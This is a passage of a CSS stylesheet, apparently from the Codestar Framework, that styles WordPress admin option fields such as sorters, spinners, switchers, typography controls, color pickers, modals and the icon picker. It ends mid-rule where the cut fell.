.csf-field-sortable .ui-sortable-helper .csf-sortable-helper {
  display: none;
}
.csf-field-sorter .ui-sortable-placeholder {
  height: 20px;
  border: 1px dashed #f1c40f;
  background-color: #fffae4;
}
.csf-field-sorter .csf-modules {
  float: left;
  width: 50%;
  box-sizing: border-box;
}
.csf-field-sorter .csf-modules:first-child {
  padding-right: 15px;
}
.csf-field-sorter .csf-modules:last-child {
  padding-left: 15px;
}
.csf-field-sorter .csf-disabled,
.csf-field-sorter .csf-enabled {
  padding: 5px 15px;
  border: 1px dashed #ddd;
  background-color: #fff;
}
.csf-field-sorter .csf-disabled li {
  opacity: 0.5;
  transition: opacity 0.15s;
}
.csf-field-sorter .csf-disabled .ui-sortable-helper {
  opacity: 1;
}
.csf-field-sorter .csf-sorter-title {
  font-size: 13px;
  font-weight: 600;
  padding: 10px;
  text-align: center;
  border: 1px dashed #ddd;
  border-bottom: none;
  background-color: #f8f8f8;
  text-transform: uppercase;
}
.csf-field-sorter ul {
  list-style-type: none;
  margin: 0;
  padding: 0;
  min-height: 62px;
}
.csf-field-sorter ul li {
  margin: 10px 0;
  padding: 10px 15px;
  cursor: move;
  font-weight: 700;
  text-align: center;
  border: 1px solid #e5e5e5;
  background-color: #fafafa;
  transition: border-color 0.15s;
}
.csf-field-sorter ul li:hover {
  border-color: #bbb;
}
.csf-field-spinner .csf--spin {
  display: flex;
}
.csf-field-spinner .ui-widget {
  font-family: inherit;
}
.csf-field-spinner .ui-spinner {
  display: flex;
  align-items: stretch;
  overflow: unset;
  border: none;
  background: 0 0;
  border-radius: 0;
}
.csf-field-spinner .ui-spinner .ui-button {
  display: flex;
  flex-direction: column;
  justify-content: center;
  text-align: center;
  min-width: 20px;
  padding: 0 4px;
  margin: 0;
  color: #555;
  background-color: #f5f5f5;
  border: 1px solid #7e8993;
}
.csf-field-spinner .ui-spinner .ui-spinner-button {
  position: relative;
  cursor: pointer;
  height: auto;
}
.csf-field-spinner .ui-spinner .ui-spinner-button:hover {
  background-color: #e7e7e7;
}
.csf-field-spinner .ui-spinner .ui-spinner-button:active {
  background-color: #ddd;
}
.csf-field-spinner .ui-spinner .ui-spinner-button:before {
  font-family: "Font Awesome 5 Pro", "Font Awesome 5 Free", FontAwesome;
  font-weight: 900;
  font-size: 14px;
  line-height: 14px;
}
.csf-field-spinner .ui-spinner .ui-spinner-down {
  border-right: 0;
  border-radius: 0;
}
.csf-field-spinner .ui-spinner .ui-spinner-down:before {
  content: "\f0d9";
}
.csf-field-spinner .ui-spinner .ui-spinner-up {
  border-left: 0;
  border-radius: 0;
}
.csf-field-spinner .ui-spinner .ui-spinner-up:before {
  content: "\f0da";
}
.csf-field-spinner .ui-spinner .csf--unit {
  border-left: 0;
  user-select: none;
}
.csf-field-spinner .ui-spinner .ui-button-icon,
.csf-field-spinner .ui-spinner .ui-button-icon-space,
.csf-field-spinner .ui-spinner .ui-button-text {
  display: none;
}
.csf-field-spinner .ui-spinner input {
  font-family: inherit;
  font-size: inherit;
  position: relative;
  z-index: 1;
  width: 50px;
  text-align: center;
  margin: 0;
  padding: 0 8px;
  border-radius: 0;
}
.csf-field-spinner .ui-spinner-down {
  order: 1;
}
.csf-field-spinner .ui-spinner-input {
  order: 2;
}
.csf-field-spinner .csf--unit {
  order: 3;
}
.csf-field-spinner .ui-spinner-up {
  order: 4;
}
.csf-field-switcher .csf--switcher {
  float: left;
  cursor: pointer;
  position: relative;
  width: 80px;
  height: 36px;
  padding: 0;
  margin: 0;
  overflow: hidden;
  border-radius: 0;
  background-color: #8c8c8c;
  user-select: none;
  -webkit-user-select: none;
}
.csf-field-switcher .csf--ball {
  position: absolute;
  top: 4px;
  left: 4px;
  width: 30px;
  height: 28px;
  background-color: #fff;
  border-radius: 0;
  transition: all 0.1s;
  box-shadow: 1px 1px 1px rgba(0, 0, 0, 0.15);
}
.csf-field-switcher .csf--off,
.csf-field-switcher .csf--on {
  position: absolute;
  top: 0;
  left: 0;
  right: 0;
  font-size: 11px;
  line-height: 36px;
  font-weight: 500;
  font-style: normal;
  text-align: center;
  text-transform: uppercase;
  color: #fff;
  padding-right: 28px;
  opacity: 0;
  transition: all 0.1s;
}
.csf-field-switcher .csf--off {
  padding-right: 0;
  padding-left: 28px;
  opacity: 1;
}
.csf-field-switcher .csf--active {
  background: var(--wp-admin-theme-color);
}
.csf-field-switcher .csf--active .csf--on {
  opacity: 1;
}
.csf-field-switcher .csf--active .csf--off {
  opacity: 0;
}
.csf-field-switcher .csf--active .csf--ball {
  left: 100%;
  margin-left: -34px;
}
.csf-field-switcher .csf--label {
  float: left;
  margin-top: 4px;
  margin-left: 8px;
  font-weight: 400;
  color: #999;
}
.csf-field-tabbed .csf-tabbed-content {
  border: 1px solid #ccd0d4;
  background-color: #fff;
  box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
}
.csf-field-tabbed .csf-tabbed-content > .csf-field {
  padding: 15px;
}
.csf-field-tabbed .csf-tabbed-nav .csf--icon {
  padding-right: 5px;
}
.csf-field-tabbed .csf-tabbed-nav a {
  display: inline-block;
  padding: 12px 15px;
  margin-top: 1px;
  margin-right: 5px;
  margin-bottom: -1px;
  position: relative;
  text-decoration: none;
  color: #444;
  font-weight: 600;
  border: 1px solid #ccd0d4;
  background-color: #f3f3f3;
  transition: all 0.2s;
}
.csf-field-tabbed .csf-tabbed-nav a:hover {
  background-color: #f9f9f9;
}
.csf-field-tabbed .csf-tabbed-nav a.csf-tabbed-active {
  background-color: #fff;
  border-bottom-color: #fff;
}
.csf-field-tabbed .csf-tabbed-nav a:focus {
  outline: 0;
  box-shadow: none;
}
.csf-field-text input {
  width: 50%;
  max-width: 100%;
  margin: 0;
  border-radius: 0;
}
.csf-field-textarea textarea,
.csf-field-export textarea,
.csf-field-import textarea {
  width: 100%;
  max-width: 100%;
  min-height: 125px;
}
.csf-field-textarea .csf-shortcode-button {
  margin-bottom: 10px;
  margin-right: 5px;
}
.csf-field-typography select,
.csf-field-typography textarea {
  margin: 0;
  min-width: 100%;
  max-width: 100%;
}
.csf-field-typography .csf--title {
  color: #777;
  margin: 0 0 2px 0;
  font-size: 12px;
}
.csf-field-typography .csf--title small {
  vertical-align: top;
}
.csf-field-typography .csf--blocks {
  display: flex;
  flex-wrap: wrap;
}
.csf-field-typography .csf--block {
  flex: 1;
  max-width: 100%;
  padding-right: 6px;
  padding-bottom: 6px;
}
.csf-field-typography .csf--input {
  margin: 0;
  min-width: 100%;
}
.csf-field-typography .csf--input-wrap {
  position: relative;
}
.csf-field-typography .csf--unit {
  position: absolute;
  z-index: 1;
  right: 4px;
  top: 4px;
  bottom: 4px;
  padding: 2px 6px;
  color: #666;
  font-size: 11px;
  line-height: 1;
  border-radius: 0;
  background: #eee;
  user-select: none;
  display: flex;
  justify-content: center;
  flex-direction: column;
}
.csf-field-typography .csf--preview {
  font-size: 16px;
  line-height: 20px;
  padding: 20px;
  color: #222;
  border: 1px solid #eee;
  background-color: #fff;
  border-radius: 0;
  user-select: none;
  -webkit-user-select: none;
  transition: background-color 0.2s, border-color 0.2s;
}
.csf-field-typography .csf--block-preview {
  cursor: pointer;
  position: relative;
  overflow: hidden;
  margin-top: 10px;
  max-width: 100%;
}
.csf-field-typography .csf--black-background {
  border-color: #000;
  background-color: #000;
}
.csf-field-typography .csf--toggle {
  position: absolute;
  top: 5px;
  right: 10px;
  color: #999;
}
.csf-field-typography .csf--block-extra-styles {
  margin-top: 5px;
}
.csf-field-upload input {
  width: 100%;
  margin: 0;
  border-radius: 0;
}
.csf-field-upload .csf--wrap {
  display: flex;
  align-items: flex-start;
}
.csf-field-upload .button {
  margin-left: 5px;
  border-radius: 0;
}
.csf-field-upload .csf--preview {
  position: relative;
}
.csf-field-wp_editor .csf-wp-editor {
  float: left;
  width: 100%;
}
.csf-field-wp_editor .mce-toolbar-grp {
  border: none;
}
.csf-field-wp_editor .mce-btn.mce-active button,
.csf-field-wp_editor .mce-btn.mce-active i,
.csf-field-wp_editor .mce-btn.mce-active:hover button,
.csf-field-wp_editor .mce-btn.mce-active:hover i {
  color: #23282d;
}
.csf-field-wp_editor .wp-media-buttons {
  position: relative;
  z-index: 2;
}
.csf-field-wp_editor .wp-editor-tabs {
  position: relative;
  z-index: 1;
}
.csf-field-wp_editor .csf-no-tinymce {
  border: 1px solid #e5e5e5;
}
.csf-field-wp_editor .csf-no-quicktags .wp-media-buttons {
  float: none;
  display: block;
}
.csf-field-wp_editor .csf-no-quicktags .mce-tinymce {
  box-shadow: none;
  border: 1px solid #e5e5e5;
}
.csf-field-wp_editor textarea {
  width: 100%;
  max-width: 100%;
  margin: 0;
  box-shadow: none;
}
.csf-field-heading {
  font-size: 1.5em;
  font-weight: 700;
  color: #23282d;
  background-color: #f5f5f5;
}
.csf-field-subheading {
  font-size: 14px;
  font-weight: 700;
  padding-top: 17px;
  padding-bottom: 17px;
  color: #23282d;
  background-color: #f7f7f7;
}
.csf-field-submessage {
  padding: 0 !important;
  border: 0 !important;
}
.csf-field-submessage + .csf-field {
  border-top: 0 !important;
}
.csf-submessage {
  font-size: 12px;
  padding: 17px 30px;
  border-top: 1px solid transparent;
  border-bottom: 1px solid transparent;
}
.csf-submessage-success {
  color: #3c763d;
  border-color: #d6e9c6;
  background-color: #dff0d8;
}
.csf-submessage-info {
  color: #31708f;
  border-color: #bce8f1;
  background-color: #d9edf7;
}
.csf-submessage-warning {
  color: #8a6d3b;
  border-color: #faebcc;
  background-color: #fcf8e3;
}
.csf-submessage-danger {
  color: #a94442;
  border-color: #ebccd1;
  background-color: #f2dede;
}
.csf-submessage-normal {
  color: #23282d;
  border-color: #eee;
  background-color: #f7f7f7;
}
.csf-field-notice {
  background-color: #f7f7f7;
}
.csf-notice {
  padding: 12px;
  background-color: #fff;
  border-left-style: solid;
  border-left-width: 4px;
  box-shadow: 0 1px 1px rgba(0, 0, 0, 0.1);
}
.csf-notice-success {
  border-color: #46b450;
}
.csf-notice-info {
  border-color: #339fd4;
}
.csf-notice-warning {
  border-color: #ffbc00;
}
.csf-notice-danger {
  border-color: #dc3232;
}
.csf-notice-normal {
  border-color: #222;
}
.csf-field-number input {
  width: 100%;
  margin: 0;
  border-radius: 0;
}
.csf-field-number .csf--wrap {
  position: relative;
  float: left;
  width: 100px;
}
.csf-field-number .csf--unit {
  position: absolute;
  z-index: 1;
  right: 4px;
  top: 4px;
  bottom: 4px;
  padding: 2px 6px;
  color: #666;
  font-size: 11px;
  line-height: 1;
  border-radius: 0;
  background: #eee;
  user-select: none;
  display: flex;
  justify-content: center;
  flex-direction: column;
}
.csf-field-link .csf--result {
  display: inline-block;
  font-size: 12px;
  line-height: 16px;
  padding: 7px 10px;
  margin-bottom: 7px;
  color: #777;
  border: 1px solid #e5e5e5;
  background-color: #f5f5f5;
  border-radius: 0;
  world-break: break-word;
}
.csf-field-link .csf--wrap {
  position: relative;
  float: left;
  width: 100px;
}
.csf-field-link .csf--unit {
  position: absolute;
  z-index: 1;
  right: 4px;
  top: 4px;
  bottom: 4px;
  padding: 2px 6px;
  color: #666;
  font-size: 11px;
  line-height: 1;
  border-radius: 0;
  background: #eee;
  user-select: none;
  display: flex;
  justify-content: center;
  flex-direction: column;
}
.csf-help {
  cursor: help;
  position: absolute;
  top: 0;
  right: 0;
  padding: 5px;
  font-size: 13px;
  color: #aaa;
}
.csf-help .csf-help-text {
  display: none;
}
.csf--preview {
  max-width: 100%;
}
.csf-image-preview {
  display: inline-flex;
  align-items: center;
  justify-content: center;
  flex-direction: column;
  position: relative;
  padding: 6px;
  max-width: 120px;
  max-height: 120px;
  min-width: 40px;
  min-height: 40px;
  margin-bottom: 10px;
  text-align: center;
  border-radius: 0;
  border: 1px solid #ccc;
  background-color: #f9f9f9;
  box-shadow: 0 1px 0 rgba(0, 0, 0, 0.08);
}
.csf-image-preview i {
  cursor: pointer;
  position: absolute;
  z-index: 1;
  right: 4px;
  top: 4px;
  font-size: 14px;
  width: 22px;
  height: 22px;
  line-height: 22px;
  text-align: center;
  text-decoration: none;
  color: #fff;
  background-color: #d33;
  opacity: 0.75;
  border-radius: 0;
  transition: all 0.2s;
}
.csf-image-preview i:hover {
  opacity: 1;
}
.csf-image-preview i:focus {
  box-shadow: none;
}
.csf-image-preview span {
  position: relative;
  overflow: hidden;
  display: flex;
  height: 100%;
  width: 100%;
}
.csf-image-preview img {
  max-width: 100%;
  height: auto;
  object-fit: contain;
}
.csf-field-custom .csf-field {
  padding: 0;
}
.csf-field .chosen-container-single .chosen-single {
  height: 36px;
  line-height: 34px;
  min-width: 220px;
}
.csf-field .chosen-container-single .chosen-single abbr {
  top: 0;
  right: 20px;
  font-family: "Font Awesome 5 Pro", "Font Awesome 5 Free", FontAwesome;
  font-weight: 900;
  font-size: 12px;
  height: 100%;
  width: 18px;
  color: #aaa;
  text-align: center;
  background: 0 0;
}
.csf-field .chosen-container-single .chosen-single abbr:before {
  content: "\f00d";
}
.csf-field .chosen-container-single .chosen-single abbr:hover {
  color: #555;
}
.csf-field
  .chosen-container-multi
  .chosen-choices
  li.search-choice
  .search-choice-close {
  font-family: "Font Awesome 5 Pro", "Font Awesome 5 Free", FontAwesome;
  font-weight: 900;
  font-size: 12px;
  height: 100%;
  width: 18px;
  color: #aaa;
  text-align: center;
  background: 0 0;
}
.csf-field
  .chosen-container-multi
  .chosen-choices
  li.search-choice
  .search-choice-close:before {
  content: "\f00d";
  display: inline-block;
  padding-top: 3px;
}
.csf-field
  .chosen-container-multi
  .chosen-choices
  li.search-choice
  .search-choice-close:hover {
  color: #555;
}
.csf-field .chosen-container-single .chosen-single div b {
  font-family: "Font Awesome 5 Pro", "Font Awesome 5 Free", FontAwesome;
  font-weight: 900;
  font-size: 14px;
  color: #aaa;
  background: 0 0;
}
.csf-field .chosen-container-single .chosen-single div b:before {
  content: "\f107";
}
.csf-field .chosen-container-single .chosen-single div b:hover {
  color: #555;
}
.csf-field
  .chosen-container-multi
  .chosen-choices
  li.search-choice-placeholder {
  border: 1px dashed #aaa;
  margin: 3px 5px 3px 0;
}
.csf-field .chosen-container-multi .ui-sortable li.search-choice span {
  cursor: move;
}
.csf-field
  .chosen-container-active.chosen-with-drop
  .chosen-single
  div
  b:before {
  content: "\f106";
}
.csf-field .chosen-container-single .chosen-single-with-deselect span {
  margin-right: 40px;
}
.csf-field .chosen-container-single .chosen-search input[type="text"] {
  background: 0 0;
}
.csf-field .chosen-container-single .chosen-search:before {
  font-family: "Font Awesome 5 Pro", "Font Awesome 5 Free", FontAwesome;
  font-weight: 900;
  font-size: 11px;
  content: "\f002";
  position: absolute;
  right: 12px;
  top: 10px;
  color: #aaa;
}
.csf-field .wp-picker-container {
  display: inline-block;
}
.csf-field .wp-picker-container .wp-color-result.button {
  margin-bottom: 0;
}
.csf-field .csf--transparent-wrap {
  display: none;
  position: relative;
  top: -1px;
  width: 235px;
  padding: 9px 10px;
  border: 1px solid #dfdfdf;
  border-top: none;
  background-color: #fff;
}
.csf-field .wp-picker-active .csf--transparent-wrap {
  display: block;
}
.csf-field .csf--transparent-slider {
  position: absolute;
  width: 190px;
  margin-left: 2px;
  height: 18px;
}
.csf-field .csf--transparent-slider .ui-slider-handle {
  position: absolute;
  top: -3px;
  bottom: -3px;
  z-index: 5;
  border-color: #aaa;
  border-style: solid;
  border-width: 4px 3px;
  width: 10px;
  height: 16px;
  margin: 0 -5px;
  background: 0 0;
  cursor: ew-resize;
  opacity: 0.9;
  border-radius: 0;
  box-shadow: 0 1px 2px rgba(0, 0, 0, 0.2);
}
.csf-field .csf--transparent-slider .ui-slider-handle:before {
  content: " ";
  position: absolute;
  left: -2px;
  right: -2px;
  top: -3px;
  bottom: -3px;
  border: 2px solid #fff;
  border-radius: 0;
}
.csf-field .csf--transparent-offset {
  height: 18px;
  width: 200px;
  background: url(../images/checkerboard.png) repeat-y center left scroll #fff;
  border-radius: 0;
  box-shadow: inset 0 0 5px rgba(0, 0, 0, 0.4);
}
.csf-field .csf--transparent-text {
  position: absolute;
  top: 12px;
  right: 10px;
  width: 30px;
  font-size: 12px;
  line-height: 12px;
  text-align: center;
  color: #999;
}
.csf-field .csf--transparent-button {
  cursor: pointer;
  user-select: none;
  margin-top: 10px;
  font-size: 11px;
  text-align: center;
  border-radius: 0;
  padding: 3px 7px;
  box-shadow: 0 1px 0 rgba(0, 0, 0, 0.1);
  letter-spacing: 0.2px;
  color: #777;
  border: 1px solid #ccc;
  background-color: #f7f7f7;
  transition: background-color 0.2s, border-color 0.2s, color 0.2s;
}
.csf-field .csf--transparent-active .wp-color-result {
  background-image: url(../images/checkerboard.png);
  background-size: 135px;
  background-position: center left;
  background-color: transparent !important;
}
.csf-field .csf--transparent-active .csf--transparent-button {
  color: #fff;
  border-color: #3ea032;
  background-color: #4fb845;
}
.csf-field .csf--transparent-active .fa:before {
  content: "\f205";
}
.csf-widgets > .csf-field {
  position: relative;
  top: -1px;
  margin-left: -15px;
  margin-right: -15px;
  padding: 12px 15px;
}
.csf-widgets > .csf-field .csf-title {
  float: none;
  width: 100%;
  margin-bottom: 5px;
}
.csf-widgets > .csf-field .csf-fieldset {
  float: none;
  width: 100%;
}
.csf-widgets .csf-field-text input {
  width: 100%;
  border-radius: 0;
}
.csf-widgets .csf-field-notice .csf-notice {
  padding: 15px;
}
.control-section .csf-widgets > .csf-field {
  margin-left: -10px;
  margin-right: -10px;
  padding: 10px 12px;
}
.wp-block .csf-widgets {
  font-size: 13px;
}
.wp-block .csf-widgets > .csf-field {
  margin-left: -10px;
  margin-right: -10px;
}
.wp-block .csf-widgets > .csf-field .button-primary {
  color: #fff;
}
.wp-block .csf-widgets > .csf-field > .csf-title > h4 {
  font-size: 13px;
}
.control-section .csf-field {
  padding: 0;
}
.control-section .csf-field .csf-title {
  float: none;
  width: 100%;
  margin-bottom: 6px;
}
.control-section .csf-field .csf-title h4 {
  display: block;
  font-size: 13px;
  line-height: 1;
  font-weight: 600;
  color: inherit;
}
.control-section .csf-field .csf-fieldset {
  float: none;
  width: 100%;
}
.control-section .csf-help {
  top: -5px;
  right: -5px;
}
.control-section .csf-field-select select {
  width: 100%;
}
.control-section .csf-field-heading {
  color: inherit;
  font-size: 14px;
  line-height: 1em;
  margin-right: -15px;
  margin-left: -15px;
  padding: 15px;
}
.control-section .csf-field-subheading {
  color: inherit;
  font-size: 11px;
  margin-right: -15px;
  margin-left: -15px;
  padding: 10px 15px;
}
.control-section .csf-subtitle-text {
  margin-top: 4px;
  font-size: 12px;
}
.control-section .csf-field-submessage .csf-submessage {
  margin-right: -15px;
  margin-left: -15px;
  padding: 15px;
}
.control-section .csf-fieldset .csf-field-heading,
.control-section .csf-fieldset .csf-field-subheading,
.control-section .csf-fieldset .csf-field-submessage .csf-submessage {
  margin-left: 0;
  margin-right: 0;
}
.control-section .csf-field-date label,
.control-section .csf-field-datetime label {
  display: block;
}
.control-section .csf-field-date .csf--to,
.control-section .csf-field-datetime .csf--to {
  margin-top: 4px;
  margin-left: 0;
}
.control-section .csf-field-sorter ul li {
  padding: 5px;
}
.control-section .csf-field-sorter .csf-modules {
  float: none;
  width: 100%;
}
.control-section .csf-field-sorter .csf-modules:first-child {
  padding-right: 0;
  padding-bottom: 15px;
}
.control-section .csf-field-background .csf--background-attributes {
  flex-direction: column;
}
.control-section .csf-field-spacing input {
  width: 90px;
}
.control-section .csf-field-border .csf--input {
  flex: 1 50%;
}
.control-section .csf-field-border input,
.control-section .csf-field-border select {
  width: 100%;
}
.control-section .csf-field-spinner input {
  width: 50px;
}
.control-section .csf-field-number .csf--wrap {
  width: 100%;
}
.control-section .csf-field-backup .csf-export-data {
  display: none;
}
.control-section .csf-field-fieldset .csf-fieldset-content {
  border-color: #e5e5e5;
}
.control-section .csf-accordion-content > .csf-field,
.control-section .csf-cloneable-content > .csf-field,
.control-section .csf-fieldset-content > .csf-field,
.control-section .csf-repeater-content > .csf-field,
.control-section .csf-sortable-content > .csf-field,
.control-section .csf-tabbed-content > .csf-field {
  padding: 10px;
}
.control-section .csf-accordion-content > .csf-field .csf-title,
.control-section .csf-cloneable-content > .csf-field .csf-title,
.control-section .csf-fieldset-content > .csf-field .csf-title,
.control-section .csf-repeater-content > .csf-field .csf-title,
.control-section .csf-sortable-content > .csf-field .csf-title,
.control-section .csf-tabbed-content > .csf-field .csf-title {
  margin-bottom: 5px;
}
.control-section .csf-accordion-content > .csf-field h4,
.control-section .csf-cloneable-content > .csf-field h4,
.control-section .csf-fieldset-content > .csf-field h4,
.control-section .csf-repeater-content > .csf-field h4,
.control-section .csf-sortable-content > .csf-field h4,
.control-section .csf-tabbed-content > .csf-field h4 {
  font-size: 12px;
}
.control-section .csf-depend-hidden.csf-depend-on {
  display: none !important;
}
.control-section .csf-depend-visible.csf-depend-on {
  border-top: 0 !important;
}
.csf-taxonomy {
  max-width: 95%;
}
.csf-taxonomy > .csf-field {
  border-top: none !important;
}
.csf-taxonomy > .csf-field-heading {
  font-size: 1.1em;
  padding: 20px !important;
  border: 1px solid #ddd;
}
.csf-taxonomy > .csf-field-subheading {
  font-size: 12px;
  padding: 15px !important;
  border: 1px solid #ddd;
}
.csf-taxonomy > .csf-field-submessage .csf-submessage {
  padding: 15px;
  border-left-width: 1px;
  border-left-style: solid;
  border-right-width: 1px;
  border-right-style: solid;
}
.csf-taxonomy > .csf-field-notice {
  background-color: transparent;
}
.csf-taxonomy .csf-section-title {
  display: block;
  padding: 15px;
  background-color: #f9f9f9;
  border: 1px solid #e5e5e5;
  box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
}
.csf-taxonomy-add-fields > .csf-field {
  padding: 8px 0;
}
.csf-taxonomy-add-fields > .csf-field > .csf-title {
  float: none;
  width: 100%;
  padding: 2px 2px 4px 0;
}
.csf-taxonomy-add-fields > .csf-field > .csf-title h4 {
  font-size: 12px;
  font-weight: 400;
}
.csf-taxonomy-add-fields > .csf-field > .csf-fieldset {
  float: none;
  width: 100%;
}
.csf-taxonomy-add-fields > .csf-field > .csf-fieldset > .csf-help {
  right: -5px;
}
.csf-taxonomy-add-fields + p.submit {
  margin-top: 0;
}
.csf-taxonomy-edit-fields > .csf-field {
  padding: 20px 0;
}
.csf-taxonomy-edit-fields > .csf-field > .csf-title {
  width: 200px;
}
.csf-taxonomy-edit-fields > .csf-field > .csf-title h4 {
  font-size: 14px;
  font-weight: 600;
  line-height: 1.3;
  display: inline-block;
  vertical-align: middle;
}
.csf-taxonomy-edit-fields > .csf-field > .csf-fieldset {
  width: calc(100% - 220px);
}
.csf-taxonomy-edit-fields > .csf-field > .csf-fieldset > .csf-help {
  top: -5px;
  right: -5px;
}
.csf-taxonomy-edit-fields > .csf-field-submessage {
  margin: 20px 0;
}
.csf-taxonomy-edit-fields > .csf-field-heading,
.csf-taxonomy-edit-fields > .csf-field-subheading {
  margin: 20px 0;
  border: 1px solid #ddd;
}
.csf-nav-menu-options {
  clear: both;
  float: left;
  width: 100%;
}
.csf-nav-menu-options > .csf-fields {
  margin: 10px -10px;
  border-top: 1px solid #eee;
  border-bottom: 1px solid #eee;
}
.csf-nav-menu-options > .csf-fields > .csf-field {
  padding: 12px;
}
.csf-nav-menu-options > .csf-fields > .csf-field .csf-title {
  float: none;
  width: 100%;
  margin-bottom: 5px;
}
.csf-nav-menu-options > .csf-fields > .csf-field .csf-fieldset {
  float: none;
  width: 100%;
}
.csf-nav-menu-options .csf-field-text input {
  width: 100%;
}
.csf-nav-menu-options .csf-field-notice .csf-notice {
  padding: 15px;
}
.csf-nav-menu-title {
  padding: 12px;
  background-color: #f5f5f5;
  border-top: 1px solid #eee;
  border-bottom: 1px solid #eee;
}
.csf-nav-menu-title:first-child {
  border-top: 0;
}
.csf-nav-menu-title h4 {
  margin: 0;
  padding: 0;
  color: #23282d;
}
.csf-nav-menu-icon {
  margin-right: 5px;
}
.csf-profile-options > h2 > .fa {
  padding-right: 7px;
}
.csf-profile-options > .csf-field {
  max-width: 750px;
  padding: 15px 0;
  border-top: none !important;
}
.csf-profile-options > .csf-field > .csf-title {
  width: 200px;
}
.csf-profile-options > .csf-field > .csf-title h4 {
  font-size: 14px;
  font-weight: 600;
  line-height: 1.3;
  display: inline-block;
  vertical-align: middle;
}
.csf-profile-options > .csf-field > .csf-fieldset {
  width: calc(100% - 220px);
}
.csf-profile-options > .csf-field > .csf-fieldset > .csf-help {
  top: -15px;
  right: -5px;
}
.csf-profile-options > .csf-field-heading {
  font-size: 1.1em;
}
.csf-profile-options > .csf-field-subheading {
  font-size: 12px;
}
.csf-profile-options > .csf-field-heading,
.csf-profile-options > .csf-field-subheading {
  margin: 10px 0;
  padding: 15px !important;
  border: 1px solid #ddd;
}
.csf-profile-options > .csf-field-submessage {
  margin: 20px 0;
}
.csf-profile-options > .csf-field-submessage .csf-submessage {
  padding: 10px;
  border-left-width: 1px;
  border-left-style: solid;
  border-right-width: 1px;
  border-right-style: solid;
}
.csf-profile-options > .csf-field-notice {
  background-color: transparent;
}
.csf-modal {
  position: fixed;
  z-index: 100101;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
}
.csf-modal.hidden {
  display: none;
}
.csf-modal-icon {
  z-index: 100102;
}
.csf-modal-table {
  display: table;
  width: 100%;
  height: 100%;
}
.csf-modal-table-cell {
  display: table-cell;
  vertical-align: middle;
  margin: 100px 0;
}
.csf-modal-inner {
  position: relative;
  z-index: 10;
  width: 760px;
  height: 750px;
  margin: 0 auto;
  background-color: #fff;
}
.csf-modal-content {
  position: relative;
  overflow: hidden;
  overflow-y: auto;
  height: 595px;
}
.csf-modal-content .csf-shortcode-button {
  display: none;
}
.csf-modal-content .csf-field {
  padding: 15px 30px 15px 15px;
}
.csf-modal-content a:active,
.csf-modal-content a:focus {
  outline: 0;
  box-shadow: none;
}
.csf-modal-content h4 {
  font-size: 13px;
}
.csf-modal-content h4 small {
  font-style: italic;
  font-weight: 400;
  color: #aaa;
}
.csf-modal-title {
  position: relative;
  background-color: #fcfcfc;
  border-bottom: 1px solid #ddd;
  height: 36px;
  font-size: 16px;
  font-weight: 600;
  line-height: 36px;
  margin: 0;
  padding: 0 36px 0 16px;
}
.csf-modal-header {
  width: 100%;
  padding: 14px 0;
  background-color: #f5f5f5;
  border-bottom: 1px solid #ddd;
}
.csf-modal-header select {
  display: block;
  width: 250px;
  margin: 0 auto;
  font-size: 13px;
  line-height: 1;
  height: 30px;
  min-height: 30px;
  background-color: #fff;
}
.csf-modal-close {
  color: #666;
  padding: 0;
  position: absolute;
  top: 0;
  right: 0;
  width: 36px;
  height: 36px;
  text-align: center;
  background: 0 0;
  border: none;
  cursor: pointer;
}
.csf-modal-close:before {
  font: normal 20px/36px dashicons;
  content: "\f158";
  vertical-align: top;
  width: 36px;
  height: 36px;
}
.csf-modal-close:hover {
  opacity: 0.5;
}
.csf-modal-insert-wrapper {
  text-align: center;
  width: 100%;
  padding: 15px 0;
  background-color: #f5f5f5;
  border-top: 1px solid #ddd;
}
.csf-modal-overlay {
  position: absolute;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
  background-color: #000;
  opacity: 0.5;
}
.csf--repeatable {
  padding: 15px 15px 0 15px;
}
.csf--repeat-button-block {
  text-align: center;
  padding-bottom: 15px;
}
.csf--repeat-shortcode {
  position: relative;
  margin-bottom: 15px;
  border: 1px dashed #ddd;
}
.csf--repeat-shortcode:first-child .csf-repeat-remove {
  display: none;
}
.csf--repeat-shortcode .csf-repeat-remove {
  position: absolute;
  right: 10px;
  top: 10px;
  z-index: 10;
  cursor: pointer;
  display: inline-block;
  font-size: 11px;
  width: 18px;
  height: 18px;
  line-height: 18px;
  text-align: center;
  border-radius: 0;
  color: #fff;
  background-color: #e14d43;
  opacity: 0.5;
}
.csf--repeat-shortcode .csf-repeat-remove:hover {
  opacity: 0.5;
}
.csf-shortcode-single .csf-modal-inner {
  height: 750px;
}
.csf-shortcode-single .csf-modal-content {
  height: 652px;
}
.elementor-editor-active .csf-shortcode-button {
  margin-left: 5px;
}
.elementor-editor-active .csf-modal .hidden {
  display: none !important;
}
.csf-shortcode-block {
  text-align: center;
  padding: 14px;
  font-size: 13px;
  background-color: #f5f5f5;
  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto,
    Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
}
.csf-shortcode-block .components-button {
  margin-bottom: 10px;
}
.csf-modal-icon .csf-icon-title {
  padding: 15px 0;
  margin: 4px;
  font-size: 14px;
  font-weight: 700;
  text-align: center;
  border: 1px solid #eee;
  background-color: #f7f7f7;
}
.csf-modal-icon .csf-modal-header {
  text-align: center;
}
.csf-modal-icon .csf-icon-search {
  width: 50%;
  height: 40px;
  line-height: 40px;
}
.csf-modal-icon i {
  cursor: pointer;
  display: inline-block;
  margin: 4px;
  width: 35px;
  height: 35px;
  line-height: 35px;
  font-size: 16px;
  color: #555;
  text-align: center;
  border: 1px solid #ccc;
  background-color: #f7f7f7;
  border-radius: 0;
  box-shadow: 1px 1px 0 rgba(0, 0, 0, 0.05);
}
.csf-modal-icon i:hover {
  color: #fff;
  border-color: #222;
  background-color: #222;
}
.csf-modal-icon .csf-modal-content {
  padding: 10px;
  height: 618px;
}
.csf-modal-icon .csf-error-text {
  padding: 10px;
}
.csf-modal-loading {
  display: none;
  position: absolute;
  left: 15px;
  top: 15px;
}
.csf-loading {
  position: relative;
  width: 20px;
  height: 20px;
  background: #ccc;
  border-radius: 20px;
  box-shadow: 0 2px 5px rgba(0, 0, 0, 0.07);
}
.csf-loading:after {
  position: absolute;
  top: 50%;
  left: 50%;
  width: 4px;
  height: 4px;
  content: "";
  margin-top: -2px;
  margin-left: -2px;
  background-color: #fff;
  animation-duration: 0.5s;
  animation-iteration-count: infinite;
